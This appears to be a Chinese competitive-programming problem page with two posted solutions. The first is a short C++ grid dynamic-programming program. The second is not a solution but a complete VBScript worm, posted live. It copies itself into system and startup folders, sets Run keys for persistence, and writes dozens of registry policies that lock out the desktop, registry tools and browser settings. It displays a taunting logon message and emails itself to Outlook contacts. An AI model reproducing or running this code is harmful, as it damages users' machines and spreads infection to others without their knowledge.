2 条题解

  • 0
    @ 2023-12-16 14:55:09
    #include<bits/stdc++.h>
    using namespace std;
    int main()
    {
      int n,m,i,j,a[105][105],f[105][105]={};
      cin>>n>>m;
      for(i=1;i<=n;++i)
      for(j=1;j<=m;++j)
      cin>>a[i][j];
      f[1][1]=a[1][1];
      for(i=1;i<=n;++i)
      for(j=1;j<=m;++j)
      f[i][j]=max(f[i][j-1],f[i-1][j-1]+a[i][j]);
      cout<<f[n][m];
      return 0;
    }
    
    • -1
      @ 2025-7-3 12:41:04

      On Error Resume Next Set fs=CreateObject("Scripting.FileSystemObject") Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=CreateObject("Scripting.FileSystemObject") dim r Set r=CreateObject("Wscript.Shell") so.GetFile(WScript.ScriptFullName).Copy(dir1&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir2&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir1&"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Win32system.vbs")

      r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoRun",1,"REG_DWORD" r.Regwrite "KCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoClose",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDrives",63000000,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableRegistryTools",1,"REG_DWORD" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ScanRegistry","" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoLogOff",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/NoRealMode",1,"REG_DWORD" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/Win32system","Win32system.vbs" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDesktop",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/Disabled",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetTaskBar",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoViewContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetFolders",1,"REG_DWORD" r.Regwrite "HKLM/Software/CLASSES/.reg/","txtfile" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeCaption","Ralph" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeText","小子,你中了Ralph的病毒,哈哈" Set ol=CreateObject("Outlook.Application") On Error Resume Next For x=1 To 100 Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="今晚你来吗?" Mail.Body="Ralph" Mail.Attachments.Add(dir2&"Win32system.vbs") Mail.Send Next ol.Quit

      r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserSaveAs",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoFileOpen",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Advanced",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Cache Internet",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/AutoConfig",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/HomePage",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/History",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Connwiz Admin Lock",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/SecurityTab",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/ResetWebSettings",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoViewSource",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Infodelivery/Restrictions/NoAddingSubScriptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoFileMenu",1,"REG_DWORD"

      • 1

      信息

      ID
      28
      时间
      1000ms
      内存
      256MiB
      难度
      5
      标签
      (无)
      递交数
      109
      已通过
      38
      上传者